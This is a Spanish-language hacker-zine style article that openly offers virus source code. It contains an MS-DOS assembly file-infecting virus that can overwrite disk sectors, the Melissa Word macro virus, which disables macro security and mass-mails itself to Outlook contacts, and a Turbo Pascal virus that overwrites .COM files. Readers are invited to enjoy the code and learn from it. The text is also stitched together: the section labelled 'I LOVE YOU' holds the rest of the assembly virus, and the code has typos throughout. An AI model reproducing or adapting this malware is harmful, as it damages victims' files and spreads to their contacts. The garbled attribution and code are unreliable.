Los Virus pueden ser escritos practicamente en cualquier lenguaje de programación. A pesar de que son más efectivos los virus que estan escritos en Lenguaje Ensamblador ;)
Muchos de ustedes piensan que los virus no pueden ser escritos en Basic debido a que está limitado. Esto es falso. Basic tiene la capacidad de producir buenos y efectivos Virus mientras este sea correctamente usado. La combinacion de Ensamblador y Basic podría crear unos espectaculares virus.
Hay que denotar que en el mercado hay muchos lenguajes de programación (Basic, Los Visual, Assembler, Pascal, Los Turbos, Etc.), y que actualmente los mas nombrados estan hechos en Visual Basic (Melissa, I Love You), ya que estos lenguajes son faciles para trabajar y cualquier persona aprenderia rapido (Me acuerdo de mis tiempos, donde programabamos en Assembler en arquitecturas Z80 y 8088].
En este articulo, quieremos examinar algunos virus escritos en Assembler, Pascal, Basic y Batch.
Empezamos ahora .... pero por favor (es por tu bien) no juegues con estos bichitos.
-= [ Virus en Lenguaje Ensamblador ] =-
Muchos virus estan escritos en lenguaje ensamblador porque este es el unico que tiene la habilidad de desviar la operatividad de un Sistema Operativo. Aqui hay un ejemplo, escrito para el MS-DOS y puede ser obviamente compilado.
;========================================================================
; Virus Programa
; Version 1.1
; Escrito por : R. Burger
; Creado: 19xx
; Este es un programa demostracion para virus de computadora. Este tiene la habilidad de remplazarse el mismo. y por esa razon modifica otros programas. Enjoy.
;========================================================================
Code Segment
Assume CS:Code
progr equ 100h
ORG progr
MAIN:
nop
nop
nop
;====================================================
; Inicializando los Punteros
;====================================================
mov ax,00
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al
;====================================================
; Obtiene el Controlador Seleccionado
;====================================================
mov ah,19h ;drive?
int 21h
;======================================================================
; Obtiene el flujo de la trayectoria en el mecanismo actual
;======================================================================
mov cs:drive,al ;guardar drive
mov ah,47h ;dir?
mov dh,0
add al,1
mov dl,al ;en el actual drive
lea si,cs:old_path ;
int 21h
;========================================================================
;Obtiene el numero de controladores presentes. Si hay solo uno, el puntero para el ordenamiento de busqueda constituira la configuracion del orden + 6
;========================================================================
mov as,0eh ;cuantos diskos
mov dl,0 ;
int 21h
mov al,01
cmp al,01 ;un solo drive
jnz hups3
mov al,06
hups3: mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc
;========================================================================
; Carga la configuracion, Si no encuentra mas .COM's. Entonces, se evita un trabaja innecesario, los archivos .EXE seran renombrados a archivos .COM y seran infectados. Esto causa un mensaje de Error "Program to large to fit memory" cuando carga la infeccion en los programas EXE.
;=========================================================================
change_disk:
jnc no_name_change
mov ah,17h ;cambia .EXE por .COM
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ;encontro .EXE?
;========================================================================
; Si no encuentra .COM o .EXE , entonces los sectores
; seran sobre-escribidos dependiendo al tiempo del system
; [en milisegundos]. En este tiempo se completara la infeccion
; en medios de almacenamientos. Y se inicia la infeccion
;========================================================================
mov ah,2ch ; lee el reloj del sistema
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h
;==================================================================
; Chequea si es el fin de la busqueda ordenada en las tablas
;==================================================================
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jmp hops
;========================================================================
; Obtiene el nuevo controlador desde la busqueda ordenada en la tabla
; y selecciona este .
;=========================================================================
hups2:
mov ah,0eh
int 21h ;cambia el disko
;====================================================
; Inicia en el directorio raiz
;====================================================
mov ah,3bh ;cambia la ruta
lea dx,path
int 21h
jmp find_first_file
;====================================================
; Inicia desde el directorio raiz la busqueda
; para el primer subdirectorio.
; Primero convierte los archivos .EXE a .COM
; en un viejo directorio
;====================================================
find_first_subdir:
mov ah,17h ;cambia .exe por .com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ;usa el directorio raiz
lea dx,path
int 21h
mov ah,04eh ;busca el primer directorio
mov cx,00010001b ;
lea dx,maske_dir ;
int 21h ;
jc change_disk
mov bx,CS:counter
INC,BX
DEC bx
jz use_next_subdir
;====================================================================
; Busca en el proximo Subdirectorio. Si no encuentra mas directorios, el controlador sera cambiado.
;====================================================================
find_next_subdir:
mov ah,4fh ; busca en el siguiente subdirectorio
int 21h
jc change_disk
dec bx
jnz find_next_subdir
;===================================================
; Selecciona el directorio hallado
====================================================
use_next_subdir:
mov ah,2fh ;
int 21h
add bx,1ch
mov es:[bx],'\` ;
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ;cambia la ruta
int 21h
pop ds
mov bx,cs:counter
inc bx
mov CS:counter,bx
;==============================================================
; Busca primero archivos .COM en el directorio actual. Si no hay ninguno, busca en el proximo directorio.
;==============================================================
find_first_file:
mov ah,04eh ;Busca primero
mov cx,00000001b ;mascara
lea dx,maske_com ;
int 21h ;
jc find_first_subdir
jmp check_if_ill
;==============================================================
; Si el programa esta enfermo [infectado] entonces busca otro distinto..
;==============================================================
find_next_file:
mov ah,4fh ;busca la proxima
int 21h
jc find_first_subdir
;=============================================================
; Chequea si realmente esta infectado por el virus.
==============================================================
check_if_ill:
mov ah,3dh ;abre el canal
mov al,02h ;lee / escribe
mov dx,9eh ;
int 21
mov bx,ax ;guarda el canal
mov ah,3fh ; lee el archivo
mov ch,buflen ;
mov dx,buffer ;escribe en el buffer
int 21h
mov ah,3eh ;cierra el archivo
int 21h
mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file
;==============================================================
; HABILITA LA OPCION DE ESCRITURA ... MUY IMPORTANTE
;==============================================================
mov ah,43h ;hablita la escritura
mov al,0
mov dx,9eh ;
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h
;===================================================
; Abre el archivo para lectura / escritura
====================================================
mov ah,3dh ;abre el canal
mov al,02h ;lee / escribe
mov dx,9eh ;
int 21h
;====================================================
; Lee la entrada de datos del programa y lo guarda para su futuro uso.
;====================================================
mov bx,ax ;canal
mov ah,57h ;obtiene la fecha
mov al.0
int 21h
push cx ;guarda la fecha
push dx
mov dx,cs:[conta] ;Abre el viejo jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ;guarda el nuevo jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx
;====================================================
; Se empieza a reproducir.
;====================================================
mov ah,57h ;abre la fecha
mov al,1
pop dx
pop cx ;restaura la fecha
int 21h
;====================================================
; Cierra el archivo.
;====================================================
mov ah,3eh ;cierra el archivo
int 21h
=======
=Anexos
======= Aqui les dejo el codigo fuente en Visual Basic && VBScript de los dos
virus mas importantes en nuestra ultimos a~os, que son el MELISSA y
el I+LOVE+YOU, espero que los disfruten y que aprendan mucho de ellos,
ya que son virus muy interesantes [en la forma en que trabajan y sacan
la informacion].
-= MELISSA =-
<--------------------------- Aqui Empieza la Fiesta -------------------------->
Private Sub Document_Open[]
On Error Resume Next
If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] <> "" Then
CommandBars["Macro"].Controls["Security..."].Enabled = False
System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] = 1&
Else
CommandBars["Tools"].Controls["Macro"].Enabled = False
Options.ConfirmConversions = [1 - 1]: Options.VirusProtection = [1 - 1]: Options.SaveNormalPrompt = [1 - 1]
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject["Outlook.Application"]
Set DasMapiName = UngaDasOutlook.GetNameSpace["MAPI"]
If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists[y]
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem[0]
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries[x]
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-]"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item[1]
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item[1]
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines[1, 1] = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ["Private Sub Document_Close[]"]
Do While ADI1.CodeModule.Lines[BGN, 1] <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines[BGN, 1]
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines[1, 1] = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ["Private Sub Document_Open[]"]
Do While NTI1.CodeModule.Lines[BGN, 1] <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines[BGN, 1]
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And [InStr[1, ActiveDocument.Name, "Document"] = False] Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf [InStr[1, ActiveDocument.Name, "Document"] <> False] Then
ActiveDocument.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day[Now] = Minute[Now] Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
<------------------------------ Aqui Termina --------------------------->
-= [ I LOVE YOU ] =-
<---------------------- Aqui empiezas a Enamorarte ---------------------->
rem barok -loveletter[vbe] <i hate go to school>
mov dx,cs:[jmpbuf] ;restituye el viejo jump
mov cs:[conta],dx
hops: nop
call use_old
;====================================================
; Continua con el programa anfitrion.
;====================================================
cont db 0e9h ;make jump
conta dw 0
mov ah,00
int 21h
;==============================================================
; Reactiva el controlador seleccionado y inicia el programa
;==============================================================
use_old:
mov ah,0eh ;usa el controlador viejo
mov dl,cs:drive
int 21h
;==============================================================
; Reactiva la ruta seleccionada y inicia el programa
;==============================================================
mov ah,3bh ;usa el viejo controlador
lea dx,old_path-1 ;obtiene la vieja ruta y el backslash
int 21h
ret
search_order db 0ffh,1,0,2,3,0ffh,00,offh
pointer dw 0000
counter dw 0000 ;
disks db 0 ;
maske_com db "*.com",00 ;
maske_dir db "*",00 ;
maske_exe db offh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db offh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e00h ;
buflen equ 230h ;
;
;
jmpbuf equ buffer+buflen ;
path db "\",0 ;
drive db 0 ;
back_slash db "\"
old_path db 32 dup [?] ;
code ends
end main
[ FIN DE ESTE VIRUS ]
-= [ Virus en Pascal ] =-
Pascal es otro lenguaje de alto nivel que puede producir que cualquier
computadora estalle ;) . A continuacion la descripcion de un virus en Pascal.
{
------------------------------------------------------------------
Number One
Please handle this virus with care!!!!!!!!!!! [Demostracion MORTIFERA]
Number One infects all .COM - file's name will be displayed
That file has been overwritten with Number Ones's program code and
is not reconstructible! If all files are infected or or no .COM
files are found, Number one gives you a <Smile>.
Files may be protected against infections of Number One by
setting the Read ONLY attribute.
Written 10.3.Xx by M.Vallen [Turbo Pascal 3.01A]
------------------------------------------------------ }
}
{C-}
{U-}
{I-}
{ -- Constantes --------------------------------------- }
Const
VirusSize = 12027;
Warning :String[42] {Mensaje de cuidado}
= 'This file has been infected ny Number One!';
{ -- Declaracion de los Type ------------------------------------- }
Type
DTARec =Record {Area de datos para la busqueda de archivos}
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;
Registers = Record {Registra la configuracion usada para la busqueda de archivos }
Case Byte of
1 : [AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer];
2 : [AL,AH,BL,BH,CL,CH,DL,DH : Byte];
End;
{ -- Variables--------------------------------------------- }
Var
ProgramStart : Byte absolute Cseg:$100;
{ Marcador Infectado }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Registra la configuracion }
DTA : DTARec; { area de Datos }
Buffer : Array[Byte] of Byte; { Buffer de datos }
TestID : String[42]; { Identificacion de los archivos infectados}
UsePath : String[66]; { Ruta para la busqueda de archivos }
{ Longitud de la ruta para la busqueda }
UsePathLenght: Byte absolute UsePath;
Go : File; { Archivo a infectar }
B : Byte; { Usado }
{ -- Codigo de Programa ------------------------------------------ }
Begin
WriteLn[Warning]; { Pantalla del mensaje de Cuidado!!! }
GetDir[0, UsePath]; { obtiene la libreria actual}
if Pos['\', UsePath] <> UsePathLenght then
UsePath := UsePath + '\';
UsePath := UsePath + '*.COM'; { Define la mascara para la busqueda }
Reg.AH := $1A; { Configura el area de datos }
Reg.DS := Seg[DTA];
Reg.DX := Ofs[DTA];
MsDos[Reg];
UsePath[Succ[UsePathLenght]]:=#0;
Reg.AH := $4E;
Reg.DS := Seg[UsePath];
Reg.DX := Ofs[UsePath[1]];
Reg CX := $ff; { Configura los atributos para la busqueda de todos los archivos }
MsDos[Reg]; { Find first matching entry }
IF not Odd[Reg.Flags] Then { Si encuentra un archivo ... entonces }
Repeat
UsePath := DTA.FullName;
B := Pos[#0, UsePath];
If B > 0 then
Delete[UsePath, B, 255]; { Remueve la Basura }
Assign[Go, UsePath];
Reset[Go];
If IOresult = 0 Then { Si no ... error IO entonces }
Begin
BlockRead[Go, Buffer, 2];
Move[Buffer[$80], TestID, 43];
{ Comprueba si el archivo esta realmente esta Infectado }
If TestID <> Warning Then { Si no entonces ... }
Begin
Seek [Go, 0];
{ Etiqueta los archivos infectados y .. }
MarkInfected := Warning;
{ Lo Infecta ... heeee }
BlockWrite[Go,ProgramStart,Succ[VirusSize shr 7];
Close[Go];
{ Esta listo el Pollo ... jeje}
WriteLn[UsePath + 'infected.'];
Halt; {.. y DETIENE el programa}
End;
Close[Go];
End;
{ Los archivo ya han sido infectado, Busca el proximo. }
Reg.AH := $4F;
Reg.DS := Seg[DTA];
Reg.DX := Ofs[DTA];
MsDos[Reg];
{ ......................hasta que no encuentre mas archivos ....}
Until Odd[Red.Flags];
Write[`<Smile>']; {Busca algun amigo y dile que lo ejecute ;-] }
End.